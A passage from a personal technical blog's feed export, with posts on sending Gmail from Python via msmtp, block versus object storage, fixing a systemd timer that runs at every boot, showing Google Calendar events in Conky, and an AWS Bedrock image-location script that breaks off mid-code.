msmtp # Ubuntu/Debian sudo apt install msmtp # CentOS/RHEL/Fedora sudo dnf install msmtp # Arch Linux sudo pacman -S msmtp Step 2: Generate Gmail App Password Since Gmail requires 2FA for app passwords:\nGo to Google Account Security Enable 2-Step Verification (if not already enabled) Go to App passwords section Select Mail as the app type Generate a 16-character app password Important: Copy this password without spaces or dashes Step 3: Configure msmtp Create the msmtp configuration file:\n# Create config file touch ~/.msmtprc chmod 600 ~/.msmtprc # Edit configuration nano ~/.msmtprc Add the following configuration:\n# Default settings defaults auth on tls on tls_starttls off tls_trust_file /etc/ssl/certs/ca-certificates.crt logfile ~/.msmtp.log # Gmail account account default host smtp.gmail.com port 465 from your-email@gmail.com user your-email@gmail.com password your16characterapppassword Replace:\nyour-email@gmail.com with your actual Gmail address your16characterapppassword with the app password (no spaces/dashes) Step 4: Test msmtp Configuration Test that msmtp works:\necho \u0026#34;Hello from msmtp!\u0026#34; | msmtp your-email@gmail.com If successful, you should receive the email. Check logs if there are issues:\ntail ~/.msmtp.log Step 5: Python Integration Now you can send emails from Python using msmtp:\nSimple Email Function import subprocess from datetime import datetime def send_email_via_msmtp(recipient, subject, body, account=\u0026#34;default\u0026#34;): \u0026#34;\u0026#34;\u0026#34;Send email using msmtp - no credentials needed!\u0026#34;\u0026#34;\u0026#34; # Create email message with proper headers email_message = f\u0026#34;\u0026#34;\u0026#34;From: system@localhost To: {recipient} Subject: {subject} Date: {datetime.now().strftime(\u0026#39;%a, %d %b %Y %H:%M:%S %z\u0026#39;)} {body}\u0026#34;\u0026#34;\u0026#34; try: # Use msmtp command cmd = [\u0026#39;msmtp\u0026#39;, \u0026#39;-a\u0026#39;, account, recipient] result = subprocess.run( cmd, input=email_message, text=True, capture_output=True, check=True, timeout=30 ) print(f\u0026#34;✅ Email sent successfully to {recipient}\u0026#34;) return True except subprocess.CalledProcessError as e: print(f\u0026#34;❌ msmtp failed: {e.stderr}\u0026#34;) return False except subprocess.TimeoutExpired: print(\u0026#34;❌ Email sending timed out\u0026#34;) return False except Exception as e: print(f\u0026#34;❌ Unexpected error: {e}\u0026#34;) return False # Usage example send_email_via_msmtp( \u0026#34;your-email@gmail.com\u0026#34;, \u0026#34;Test Email from Python\u0026#34;, \u0026#34;This email was sent using Python and msmtp!\u0026#34; ) Advanced Email with Attachments import subprocess import os from email.message import EmailMessage from datetime import datetime class MsmtpMailer: def __init__(self, account=\u0026#34;default\u0026#34;, sender=\u0026#34;system@localhost\u0026#34;): self.account = account self.sender = sender def send_email(self, recipients, subject, body, attachments=None): \u0026#34;\u0026#34;\u0026#34;Send email with optional attachments via msmtp\u0026#34;\u0026#34;\u0026#34; if isinstance(recipients, str): recipients = [recipients] success_count = 0 for recipient in recipients: if self._send_to_recipient(recipient, subject, body, attachments): success_count += 1 return success_count == len(recipients) def _send_to_recipient(self, recipient, subject, body, attachments): \u0026#34;\u0026#34;\u0026#34;Send email to a single recipient\u0026#34;\u0026#34;\u0026#34; # Create email message msg = EmailMessage() msg.set_content(body) msg[\u0026#39;Subject\u0026#39;] = subject msg[\u0026#39;From\u0026#39;] = self.sender msg[\u0026#39;To\u0026#39;] = recipient msg[\u0026#39;Date\u0026#39;] = datetime.now().strftime(\u0026#39;%a, %d %b %Y %H:%M:%S %z\u0026#39;) # Add attachments if attachments: for attachment_path in attachments: if os.path.exists(attachment_path): with open(attachment_path, \u0026#39;rb\u0026#39;) as f: file_data = f.read() file_name = os.path.basename(attachment_path) # Determine MIME type if attachment_path.endswith((\u0026#39;.png\u0026#39;, \u0026#39;.jpg\u0026#39;, \u0026#39;.jpeg\u0026#39;, \u0026#39;.gif\u0026#39;)): maintype, subtype = \u0026#39;image\u0026#39;, attachment_path.split(\u0026#39;.\u0026#39;)[-1] if subtype == \u0026#39;jpg\u0026#39;: subtype = \u0026#39;jpeg\u0026#39; else: maintype, subtype = \u0026#39;application\u0026#39;, \u0026#39;octet-stream\u0026#39; msg.add_attachment(file_data, maintype=maintype, subtype=subtype, filename=file_name) try: cmd = [\u0026#39;msmtp\u0026#39;, \u0026#39;-a\u0026#39;, self.account, recipient] result = subprocess.run( cmd, input=msg.as_string(), text=True, capture_output=True, check=True, timeout=30 ) print(f\u0026#34;✅ Email sent to {recipient}\u0026#34;) return True except Exception as e: print(f\u0026#34;❌ Failed to send to {recipient}: {e}\u0026#34;) return False # Usage examples mailer = MsmtpMailer() # Simple email mailer.send_email( \u0026#34;your-email@gmail.com\u0026#34;, \u0026#34;Python Notification\u0026#34;, \u0026#34;Server monitoring alert: CPU usage is high!\u0026#34; ) # Email with multiple recipients and attachment mailer.send_email( [\u0026#34;admin@example.com\u0026#34;, \u0026#34;your-email@gmail.com\u0026#34;], \u0026#34;Daily Report\u0026#34;, \u0026#34;Please find the daily system report attached.\u0026#34;, attachments=[\u0026#34;system_report.pdf\u0026#34;, \u0026#34;usage_chart.png\u0026#34;] ) System Monitoring Example import psutil import subprocess from datetime import datetime def check_system_and_alert(): \u0026#34;\u0026#34;\u0026#34;Check system resources and send alerts if needed\u0026#34;\u0026#34;\u0026#34; # Check CPU usage cpu_percent = psutil.cpu_percent(interval=1) memory = psutil.virtual_memory() disk = psutil.disk_usage(\u0026#39;/\u0026#39;) alerts = [] if cpu_percent \u0026gt; 80: alerts.append(f\u0026#34;🔥 High CPU usage: {cpu_percent}%\u0026#34;) if memory.percent \u0026gt; 85: alerts.append(f\u0026#34;💾 High memory usage: {memory.percent}%\u0026#34;) if disk.percent \u0026gt; 90: alerts.append(f\u0026#34;💿 Low disk space: {disk.percent}% used\u0026#34;) if alerts: subject = f\u0026#34;🚨 System Alert - {len(alerts)} issue(s) detected\u0026#34; body = f\u0026#34;\u0026#34;\u0026#34;System Alert Report Generated: {datetime.now().strftime(\u0026#39;%Y-%m-%d %H:%M:%S\u0026#39;)} Issues Detected: {\u0026#39;\u0026#39;.join(f\u0026#39;• {alert}\u0026#39; for alert in alerts)} System Summary: • CPU Usage: {cpu_percent}% • Memory Usage: {memory.percent}% • Disk Usage: {disk.percent}% Please investigate these issues promptly. \u0026#34;\u0026#34;\u0026#34; send_email_via_msmtp(\u0026#34;your-email@gmail.com\u0026#34;, subject, body) # Run the check check_system_and_alert() Step 6: Automating with Cron/Systemd Cron Example # Edit crontab crontab -e # Add entry to run every 15 minutes */15 * * * * /usr/bin/python3 /path/to/your/monitor_script.py Systemd Timer Example Create a service file:\n# /etc/systemd/system/system-monitor.service [Unit] Description=System Monitor After=network.target [Service] Type=oneshot ExecStart=/usr/bin/python3 /path/to/your/monitor_script.py User=your-username Create a timer file:\n# /etc/systemd/system/system-monitor.timer [Unit] Description=Run System Monitor every 15 minutes Requires=system-monitor.service [Timer] OnCalendar=*:0/15 Persistent=true [Install] WantedBy=timers.target Enable and start:\nsudo systemctl daemon-reload sudo systemctl enable system-monitor.timer sudo systemctl start system-monitor.timer Troubleshooting Common Issues Authentication Failed\nVerify 2FA is enabled on Gmail Regenerate app password Check for spaces/dashes in password TLS Handshake Failed\nTry port 587 with tls_starttls on Update certificate bundle path Permission Denied\nCheck file permissions: chmod 600 ~/.msmtprc Debug Commands # Test msmtp with debug output echo \u0026#34;test\u0026#34; | msmtp -d your-email@gmail.com # Check msmtp log tail -f ~/.msmtp.log # Test server connection msmtp --serverinfo -a default Conclusion Using msmtp with Python provides a clean separation between email configuration and application code. This approach offers better security, maintainability, and flexibility compared to hardcoding SMTP credentials in your scripts.\nThe combination of msmtp\u0026rsquo;s reliability and Python\u0026rsquo;s flexibility makes it an excellent choice for system monitoring, alerting, and automation tasks.\nHave questions or suggestions? Feel free to reach out in the comments below!\n","permalink":"https://madhur.co.in/blog/2026/05/01/send-gmail-email-python.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eDisclaimer\u003c/strong\u003e: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eWhen building monitoring scripts or automation tools in Python, you often need to send email notifications. While you could use Python\u0026rsquo;s built-in \u003ccode\u003esmtplib\u003c/code\u003e directly with Gmail, this approach requires hardcoding credentials in your code. A cleaner solution is to use \u003cstrong\u003emsmtp\u003c/strong\u003e as an email relay, keeping your authentication separate from your Python scripts.\u003c/p\u003e","title":"How to Send Emails from Python Using msmtp and Gmail"},{"content":"In this article, we will look at Block Storage and Object Storage and differences between them.\nBlock Storage Block storage consists of Block servers whose responsibility is to take a file, split it into blocks, then optionally compress and encrypt it and then finally store it into actual storage.\nOne of the advantage Block servers provide is Delta sync. When a file is modified, only modified blocks are synced instead of the whole file using a sync algorithm.\nBlock servers process filed passed from clients by splitting a file into blocks, compressing each block, and encrypting them.\nQuestion-\u0026gt; How do they determine which blocks are modified?\nFrequent modification Block storage supports frequent data writes without affecting performance. Instead of rewriting \u0026gt; the entire file, the system identifies the particular block that needs to be amended. Then, it rewrites the selected block with the new data. This makes block storage very efficient for managing large files that require frequent updates.\nExample of block storage is Amazon EBS\nBlock storage gives the flexibility of storing frequent data on SSD while non-frequent data on HDD.\nHow does it work? Block servers process files passed from clients by splitting a file into blocks, compress each block and encrypting them. Instead of uploading the whole file to the storage system, only modified blocks are transferred.\nThe advantage of it is that in version history, you need not store the entire file. Only modified blocks.\nBlock storage offers high performance, low latency, and quick data transfer rates. As it operates on a block level, you can directly access data and achieve a high I/O performance. You use block storage for applications that need fast access to data you have stored, like a virtual machine or database.\nObject Storage Object storage is different from Block storage\nObject storage systems prioritize storage quantity over availability. As highly scalable systems, you can store large volume of unstructured data in an object storage system. However, there’s more latency when you access these files. Object storage also has a lower throughput compared to block storage and cloud storage.\nExample of object storage is Amazon s3\nBlock Storage vs Object Storage Block storage is mainly useful for structured data with high volumes of read and write loads.\nTh key here is that in these files, mostly you don\u0026rsquo;t need the entire file in its entirety, but only the part of it. For example few rows of database, few files inside the VM mount etc.\nBlock Storage is like having a filing cabinet with lots of small, numbered drawers. Perfect when you neet to quickly grab a specific drawer.\nObject storage is best used for large amouts of unstructured data.\nIn object storage, you typically need the whole file to operate. for example Images, Videos, PDF, backups etc.\nObject Storage is like having a warehouse with labeled boxes. Perfect when you need to retrieve entire boxes (complete files)\nReferences: https://aws.amazon.com/compare/the-difference-between-block-file-object-storage/\n","permalink":"https://madhur.co.in/blog/2026/04/01/block-storage-vs-object-storage.html","summary":"\u003cp\u003eIn this article, we will look at \u003ca href=\"https://aws.amazon.com/what-is/block-storage/\"\u003eBlock Storage\u003c/a\u003e and \u003ca href=\"https://aws.amazon.com/what-is/object-storage/\"\u003eObject Storage\u003c/a\u003e and differences between them.\u003c/p\u003e\n\u003ch3 id=\"block-storage\"\u003eBlock Storage\u003c/h3\u003e\n\u003cp\u003eBlock storage consists of Block servers whose responsibility is to take a file, split it into blocks, then optionally compress and encrypt it and then finally store it into actual storage.\u003c/p\u003e\n\u003cp\u003eOne of the advantage Block servers provide is Delta sync. When a file is modified, only modified blocks are synced instead of the whole file using a sync algorithm.\u003c/p\u003e","title":"Block Storage vs Object Storage"},{"content":" Disclaimer: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\nProblem Description A systemd timer configured with OnCalendar=daily and Persistent=true was executing its associated service on every system boot, in addition to the scheduled execution time. The expected behavior was execution only at the scheduled time, with persistent timers catching up on missed runs only when the system was offline during the scheduled time.\nEnvironment System: User systemd instance (systemctl --user) Timer: rednotebook-backup.timer Service: rednotebook-backup.service Systemd version: Standard systemd installation Observed Behavior Aug 13 20:59:24 - Service executed after boot -- Boot f6bac27bcb034b92807c437ec2834916 -- Aug 13 21:10:50 - Service executed after boot -- Boot 18a831a9d19b415da72eb836e78ad866 -- Aug 13 21:11:20 - Service executed after boot The service executed immediately after each boot, regardless of the last execution time or scheduled interval.\nConfiguration Analysis Original Timer Configuration [Unit] Description=Run RedNotebook backup daily Requires=rednotebook-backup.service [Timer] OnCalendar=daily Persistent=true RandomizedDelaySec=300 [Install] WantedBy=timers.target Service Configuration [Unit] Description=RedNotebook GitHub Backup Service After=network-online.target Wants=network-online.target [Service] Type=oneshot ExecStart=%h/bin/rednotebook-backup.sh ExecStartPre=/bin/sleep 30 Environment=HOME=%h StandardOutput=journal StandardError=journal Environment=SSH_AUTH_SOCK=%t/ssh-agent.socket Root Cause Analysis The issue stems from the Requires=rednotebook-backup.service directive in the timer unit\u0026rsquo;s [Unit] section.\nSystemd Dependency Resolution Timer activation: The timer unit is started by timers.target during boot Dependency resolution: Due to Requires=rednotebook-backup.service, systemd immediately activates the service unit when the timer starts Unintended execution: The service executes on boot, independent of the timer schedule Systemd Timer Mechanics Systemd timers automatically establish relationships with their target services through:\nImplicit naming convention: foo.timer automatically targets foo.service Automatic dependencies: Timer units gain an implicit Before= dependency on their target service No explicit linking required: The Unit= directive in [Timer] section is only needed when targeting a service with a different name From systemd.timer(5):\nTimer units automatically gain a Before= dependency on the service they are supposed to activate.\nSolution Remove the Requires= directive from the timer unit:\n[Unit] Description=Run RedNotebook backup daily # Removed: Requires=rednotebook-backup.service [Timer] OnCalendar=daily Persistent=true RandomizedDelaySec=300 [Install] WantedBy=timers.target Implementation systemctl --user stop rednotebook-backup.timer systemctl --user edit rednotebook-backup.timer # Add override: [Unit]\\nRequires= systemctl --user daemon-reload systemctl --user start rednotebook-backup.timer Verification Post-fix timer state:\nNEXT LEFT LAST PASSED UNIT ACTIVATES Thu 2025-08-14 00:02:17 IST 2h 54min - - rednotebook-backup.timer rednotebook-backup.service Multiple reboot test results:\nService does not execute on boot Timer maintains correct scheduling Service executes only at scheduled intervals Related Issues Common Misconceptions Explicit linking requirement: Many assume timers require explicit service dependencies Cargo-cult configuration: Copy-pasting examples with unnecessary Requires= directives Documentation gaps: Some tutorials incorrectly show Requires= as standard practice Alternative Diagnostic Approaches If removing Requires= doesn\u0026rsquo;t resolve the issue:\nCheck service enablement:\nsystemctl --user is-enabled rednotebook-backup.service Services triggered by timers should show static or disabled\nVerify service dependencies:\nsystemctl --user list-dependencies rednotebook-backup.service Check for WantedBy directives: Remove WantedBy= from service [Install] section\nTimer State Management Systemd maintains timer state in:\nSystem timers: /var/lib/systemd/timers/ User timers: ~/.local/share/systemd/ State corruption can cause similar symptoms but is less common than configuration issues.\nTechnical References systemd.timer(5) - Timer unit configuration systemd.unit(5) - Unit configuration directives systemd.special(7) - Special systemd units systemd GitHub Issue #14642 - Timer runs on every boot Conclusion The Requires= directive in systemd timer units creates an unnecessary dependency that causes service execution on timer activation (boot). Systemd\u0026rsquo;s implicit timer-to-service binding mechanism eliminates the need for explicit dependencies in standard configurations. This issue affects both user and system timer units and represents a common configuration anti-pattern in systemd timer implementations.\n","permalink":"https://madhur.co.in/blog/2026/03/01/systemd-timer-running-every-boot.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eDisclaimer\u003c/strong\u003e: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"problem-description\"\u003eProblem Description\u003c/h2\u003e\n\u003cp\u003eA systemd timer configured with \u003ccode\u003eOnCalendar=daily\u003c/code\u003e and \u003ccode\u003ePersistent=true\u003c/code\u003e was executing its associated service on every system boot, in addition to the scheduled execution time. The expected behavior was execution only at the scheduled time, with persistent timers catching up on missed runs only when the system was offline during the scheduled time.\u003c/p\u003e","title":"Systemd timer running on every boot"},{"content":" Disclaimer: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\nDisclaimer: This article was generated with assistance from AI and reflects a technical implementation discussion.\nConky is a popular system monitor for Linux desktops, but its capabilities extend beyond displaying CPU usage and memory stats. This guide shows how to integrate Google Calendar events into your Conky display using Python and Google\u0026rsquo;s Calendar API, with proper support for recurring events.\nWhy Use the API Instead of iCal? While Google Calendar provides iCal feeds, they have significant limitations for recurring events:\niCal feeds only include expanded instances for a limited time window Future recurring events beyond that window aren\u0026rsquo;t included No control over the expansion period The Google Calendar API with singleEvents=true parameter properly expands recurring events for any specified time range.\nPrerequisites Python 3.8+ pipenv (for dependency management) A Google Cloud Console account Conky installed on your Linux system Setup Process 1. Create Service Account Navigate to Google Cloud Console:\nCreate or select a project Enable the Google Calendar API (APIs \u0026amp; Services → Library) Create a Service Account (IAM \u0026amp; Admin → Service Accounts) Generate a JSON key file for the service account Download and save as google_calendar_key.json 2. Grant Calendar Access The service account needs permission to read your calendar:\nOpen the JSON file and copy the client_email value In Google Calendar, go to Settings → Your Calendar → Share with specific people Add the service account email with \u0026ldquo;See all event details\u0026rdquo; permission 3. Project Structure mkdir -p ~/.conky/calendar-project cd ~/.conky/calendar-project Create Pipfile:\n[[source]] url = \u0026#34;https://pypi.org/simple\u0026#34; verify_ssl = true name = \u0026#34;pypi\u0026#34; [packages] python-dotenv = \u0026#34;*\u0026#34; google-auth = \u0026#34;*\u0026#34; google-auth-oauthlib = \u0026#34;*\u0026#34; google-auth-httplib2 = \u0026#34;*\u0026#34; google-api-python-client = \u0026#34;*\u0026#34; [dev-packages] [requires] python_version = \u0026#34;3.8\u0026#34; Install dependencies:\npipenv install 4. Configuration Create .env file:\nGOOGLE_SERVICE_ACCOUNT_FILE=google_calendar_key.json GOOGLE_CALENDAR_ID=primary MAX_EVENTS=10 CACHE_DAYS=7 Set secure permissions:\nchmod 600 .env google_calendar_key.json 5. Python Script Create get_calendar.py:\n#!/usr/bin/env python3 import os import socket from datetime import datetime, timedelta from pathlib import Path try: from dotenv import load_dotenv from google.oauth2 import service_account from googleapiclient.discovery import build DEPENDENCIES_AVAILABLE = True except ImportError as e: DEPENDENCIES_AVAILABLE = False print(f\u0026#34;Missing dependencies: {e}\u0026#34;) # Load configuration script_dir = Path(__file__).parent env_file = script_dir / \u0026#39;.env\u0026#39; if env_file.exists(): load_dotenv(env_file) SERVICE_ACCOUNT_FILE = os.getenv(\u0026#39;GOOGLE_SERVICE_ACCOUNT_FILE\u0026#39;, \u0026#39;google_calendar_key.json\u0026#39;) CALENDAR_ID = os.getenv(\u0026#39;GOOGLE_CALENDAR_ID\u0026#39;, \u0026#39;primary\u0026#39;) MAX_EVENTS = int(os.getenv(\u0026#39;MAX_EVENTS\u0026#39;, \u0026#39;10\u0026#39;)) CACHE_DAYS = int(os.getenv(\u0026#39;CACHE_DAYS\u0026#39;, \u0026#39;7\u0026#39;)) CACHE_FILE = os.path.expanduser(\u0026#34;~/.conky/calendar_cache.txt\u0026#34;) SCOPES = [\u0026#39;https://www.googleapis.com/auth/calendar.readonly\u0026#39;] def check_internet(): try: socket.create_connection((\u0026#34;8.8.8.8\u0026#34;, 53), timeout=3) return True except OSError: return False def get_calendar_service(): try: script_dir = Path(__file__).parent service_account_path = script_dir / SERVICE_ACCOUNT_FILE if not service_account_path.exists(): raise FileNotFoundError(f\u0026#34;Service account file not found: {service_account_path}\u0026#34;) credentials = service_account.Credentials.from_service_account_file( str(service_account_path), scopes=SCOPES ) return build(\u0026#39;calendar\u0026#39;, \u0026#39;v3\u0026#39;, credentials=credentials) except Exception as e: print(f\u0026#34;Error creating calendar service: {e}\u0026#34;) return None def get_events(): try: service = get_calendar_service() if not service: return None now = datetime.now() start_time = now.replace(hour=0, minute=0, second=0, microsecond=0) end_time = start_time + timedelta(days=CACHE_DAYS) time_min = start_time.isoformat() + \u0026#39;Z\u0026#39; time_max = end_time.isoformat() + \u0026#39;Z\u0026#39; # Key parameter: singleEvents=True expands recurring events events_result = service.events().list( calendarId=CALENDAR_ID, timeMin=time_min, timeMax=time_max, maxResults=MAX_EVENTS * 2, singleEvents=True, # Expands recurring events orderBy=\u0026#39;startTime\u0026#39; ).execute() events = events_result.get(\u0026#39;items\u0026#39;, []) return events[:MAX_EVENTS] except Exception as e: print(f\u0026#34;Error fetching events: {e}\u0026#34;) return None def format_event(event): try: summary = event.get(\u0026#39;summary\u0026#39;, \u0026#39;No Title\u0026#39;) start = event.get(\u0026#39;start\u0026#39;, {}) if \u0026#39;dateTime\u0026#39; in start: dt_str = start[\u0026#39;dateTime\u0026#39;] dt = datetime.fromisoformat(dt_str.replace(\u0026#39;Z\u0026#39;, \u0026#39;+00:00\u0026#39;)).astimezone() time_str = dt.strftime(\u0026#39;%m/%d %H:%M\u0026#39; if CACHE_DAYS \u0026gt; 1 else \u0026#39;%H:%M\u0026#39;) elif \u0026#39;date\u0026#39; in start: date_obj = datetime.fromisoformat(start[\u0026#39;date\u0026#39;]) time_str = date_obj.strftime(\u0026#39;%m/%d All Day\u0026#39; if CACHE_DAYS \u0026gt; 1 else \u0026#39;All Day\u0026#39;) else: time_str = \u0026#39;??:??\u0026#39; # Truncate long summaries max_length = 35 if CACHE_DAYS \u0026gt; 1 else 40 if len(summary) \u0026gt; max_length: summary = summary[:max_length-3] + \u0026#39;...\u0026#39; # Add recurring indicator if event.get(\u0026#39;recurringEventId\u0026#39;): summary += \u0026#34; ↻\u0026#34; return f\u0026#34;{time_str} - {summary}\u0026#34; except Exception as e: return f\u0026#34;Error formatting event: {e}\u0026#34; def load_cache(): try: if os.path.exists(CACHE_FILE): with open(CACHE_FILE, \u0026#39;r\u0026#39;) as f: return f.read().strip() except Exception: pass return None def save_cache(content): try: cache_dir = os.path.dirname(CACHE_FILE) os.makedirs(cache_dir, exist_ok=True) with open(CACHE_FILE, \u0026#39;w\u0026#39;) as f: f.write(content) except Exception as e: print(f\u0026#34;Error saving cache: {e}\u0026#34;) def main(): if not DEPENDENCIES_AVAILABLE: print(\u0026#34;Required dependencies not installed\u0026#34;) return script_dir = Path(__file__).parent if not (script_dir / SERVICE_ACCOUNT_FILE).exists(): print(f\u0026#34;Service account file not found: {SERVICE_ACCOUNT_FILE}\u0026#34;) return if not check_internet(): cached_content = load_cache() if cached_content: print(cached_content) else: print(\u0026#34;No internet connection and no cached data\u0026#34;) return events = get_events() if events is None: cached_content = load_cache() if cached_content: print(\u0026#34;Using cached data:\u0026#34;) print(cached_content) else: print(\u0026#34;Unable to fetch calendar events\u0026#34;) return if not events: days_text = f\u0026#34;next {CACHE_DAYS} day{\u0026#39;s\u0026#39; if CACHE_DAYS \u0026gt; 1 else \u0026#39;\u0026#39;}\u0026#34; if CACHE_DAYS \u0026gt; 1 else \u0026#34;today\u0026#34; output = f\u0026#34;No events {days_text}\u0026#34; else: formatted_events = [format_event(event) for event in events] output = \u0026#39;\\n\u0026#39;.join(formatted_events) save_cache(output) print(output) if __name__ == \u0026#39;__main__\u0026#39;: main() Make executable:\nchmod +x get_calendar.py 6. Conky Integration Add to your .conkyrc:\nconky.text = [[ ${color orange}${font DejaVu Sans Mono:bold:size=12}UPCOMING EVENTS${font}${color} ${hr 2} ${color lightblue}${exec cd ~/.conky/calendar-project \u0026amp;\u0026amp; pipenv run python get_calendar.py}${color} ${hr 1} ]] Testing cd ~/.conky/calendar-project pipenv run python get_calendar.py Expected output:\n08/12 22:00 - Zendesk Redis Withdraw 08/16 08:00 - Weekly Reflection... ↻ 08/19 All Day - Credit card bill ↻ Key Features Recurring Event Support: The ↻ symbol indicates recurring events Offline Caching: Falls back to cached data when internet is unavailable Configurable Time Range: Adjust CACHE_DAYS for different periods Timezone Awareness: Properly handles timezone conversions Error Handling: Graceful degradation on API failures Configuration Options Variable Description Example CACHE_DAYS Days to look ahead 7 (one week) MAX_EVENTS Maximum events to display 10 CALENDAR_ID Which calendar to use primary or email Troubleshooting \u0026ldquo;Service account file not found\u0026rdquo;\nVerify the JSON file is in the project directory Check the filename matches your .env configuration \u0026ldquo;Access denied\u0026rdquo;\nEnsure the service account email has calendar permissions Wait a few minutes after sharing for propagation \u0026ldquo;No events found\u0026rdquo;\nVerify CALENDAR_ID is correct Check if events exist in the specified time range Try increasing CACHE_DAYS Security Considerations Service account files contain sensitive credentials Use chmod 600 on credential files Consider restricting API key to specific APIs in Google Cloud Console The service account only needs read access to calendars Limitations Requires internet connectivity for fresh data (cached data available offline) Service account must be shared with each calendar individually Google Calendar API has usage quotas (generous for personal use) This implementation provides a robust solution for displaying calendar events in Conky with proper support for recurring events and offline functionality.\n","permalink":"https://madhur.co.in/blog/2026/02/01/conky-google-calendar.html","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eDisclaimer\u003c/strong\u003e: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cstrong\u003eDisclaimer\u003c/strong\u003e: This article was generated with assistance from AI and reflects a technical implementation discussion.\u003c/p\u003e\n\u003cp\u003eConky is a popular system monitor for Linux desktops, but its capabilities extend beyond displaying CPU usage and memory stats. This guide shows how to integrate Google Calendar events into your Conky display using Python and Google\u0026rsquo;s Calendar API, with proper support for recurring events.\u003c/p\u003e","title":"Displaying Google Calendar Events in Conky"},{"content":" Disclaimer: This blog article has been generated with the assistance of AI. While the content is AI-generated, the software itself and the ideas behind it are the result of real development work and genuine user needs.\nI needed a way to automatically identify locations in a collection of images, so I built a Python script that uses AWS Bedrock\u0026rsquo;s Claude API for image analysis. The script processes images in batches, optimizes them for API efficiency, and saves location descriptions as text files.\nOverview The script handles:\nRecursive image processing from folders Image optimization to reduce API costs AWS Bedrock integration with Claude models Automatic text file generation for results Skip logic for already-processed images Setup Install dependencies:\npip install boto3 Pillow Configure AWS credentials via CLI, environment variables, or IAM roles. Ensure you have access to Bedrock and Claude models in your region.\nImage Processing The first challenge is managing image sizes. Large images are expensive to process and may exceed API limits. The solution processes images entirely in memory:\nimport os import base64 from PIL import Image import io def resize_image_in_memory(image_path, max_size=(1024, 1024), quality=85): \u0026#34;\u0026#34;\u0026#34;Resize image in memory without saving to disk\u0026#34;\u0026#34;\u0026#34; try: with Image.open(image_path) as img: # Convert to RGB if necessary (handles RGBA, P mode images) if img.mode in (\u0026#39;RGBA\u0026#39;, \u0026#39;P\u0026#39;): img = img.convert(\u0026#39;RGB\u0026#39;) # Calculate new size maintaining aspect ratio img.thumbnail(max_size, Image.Resampling.LANCZOS) # Save to bytes buffer buffer = io.BytesIO() # Determine format based on original image original_format = img.format if img.format else \u0026#39;JPEG\u0026#39; if original_format.upper() in [\u0026#39;JPEG\u0026#39;, \u0026#39;JPG\u0026#39;]: img.save(buffer, format=\u0026#39;JPEG\u0026#39;, quality=quality, optimize=True) elif original_format.upper() == \u0026#39;PNG\u0026#39;: img.save(buffer, format=\u0026#39;PNG\u0026#39;, optimize=True) else: # Default to JPEG for other formats img.save(buffer, format=\u0026#39;JPEG\u0026#39;, quality=quality, optimize=True) buffer.seek(0) return buffer.getvalue(), original_format except Exception as e: print(f\u0026#34;Error resizing image {image_path}: {e}\u0026#34;) return None, None This maintains aspect ratios, handles different formats, and provides significant compression. For a typical 4MB photo, this reduces size to ~300KB (92% reduction).\nBase64 Encoding AWS Bedrock requires base64-encoded images. The encoding function includes optional optimization:\ndef encode_image_to_base64(image_path, resize=True, max_size=(1024, 1024), quality=85): \u0026#34;\u0026#34;\u0026#34;Encode image file to base64 string with optional resizing\u0026#34;\u0026#34;\u0026#34; try: if resize: image_bytes, original_format = resize_image_in_memory(image_path, max_size, quality) if image_bytes is None: return None return base64.b64encode(image_bytes).decode(\u0026#39;utf-8\u0026#39;) else: with open(image_path, \u0026#34;rb\u0026#34;) as image_file: return base64.b64encode(image_file.read()).decode(\u0026#39;utf-8\u0026#39;) except Exception as e: print(f\u0026#34;Error encoding image {image_path}: {e}\u0026#34;) return None Bedrock Integration The core function handles the API communication:\nimport boto3 import mimetypes from botocore.exceptions import ClientError def get_image_format(image_path): \u0026#34;\u0026#34;\u0026#34;Get image format for Bedrock API (lowercase format names)\u0026#34;\u0026#34;\u0026#34; mime_type, _ = mimetypes.guess_type(image_path) if mime_type and mime_type.startswith(\u0026#39;image/\u0026#39;): format_map = { \u0026#39;image/jpeg\u0026#39;: \u0026#39;jpeg\u0026#39;, \u0026#39;image/jpg\u0026#39;: \u0026#39;jpeg\u0026#39;, \u0026#39;image/png\u0026#39;: \u0026#39;png\u0026#39;, \u0026#39;image/gif\u0026#39;: \u0026#39;gif\u0026#39;, \u0026#39;image/webp\u0026#39;: \u0026#39;webp\u0026#39; } return format_map.get(mime_type, \u0026#39;jpeg\u0026#39;) return \u0026#39;jpeg\u0026#39; def analyze_image_location(bedrock_client, image_path, model_id=\u0026#34;anthropic.claude-3-5-sonnet-20241022-v2:0\u0026#34;, resize_images=True, max_size=(1024, 1024), quality=85): \u0026#34;\u0026#34;\u0026#34;Send image to AWS Bedrock and get location analysis\u0026#34;\u0026#34;\u0026#34; try: base64_image = encode_image_to_base64(image_path, resize=resize_images, max_size=max_size, quality=quality) if not base64_image: return None image_format = get_image_format(image_path) message = { \u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: [ { \u0026#34;text\u0026#34;: \u0026#34;Analyze this image and identify the location or place shown. Provide a concise one-line description of the location, including the most specific place name possible (city, landmark, or geographical feature). Keep the response to a single sentence - no more than one line. Do not start with phrases like \u0026#39;This is\u0026#39;, \u0026#39;The image shows\u0026#39;, or \u0026#39;This appears to be\u0026#39;\u0026#34; }, { \u0026#34;image\u0026#34;: { \u0026#34;format\u0026#34;: image_format, \u0026#34;source\u0026#34;: { \u0026#34;bytes\u0026#34;: base64.b64decode(base64_image) } } } ] } response = bedrock_client.converse( modelId=model_id, messages=[message], inferenceConfig={ \u0026#34;maxTokens\u0026#34;: 1000, \u0026#34;temperature\u0026#34;: 0.1 } ) location_analysis = 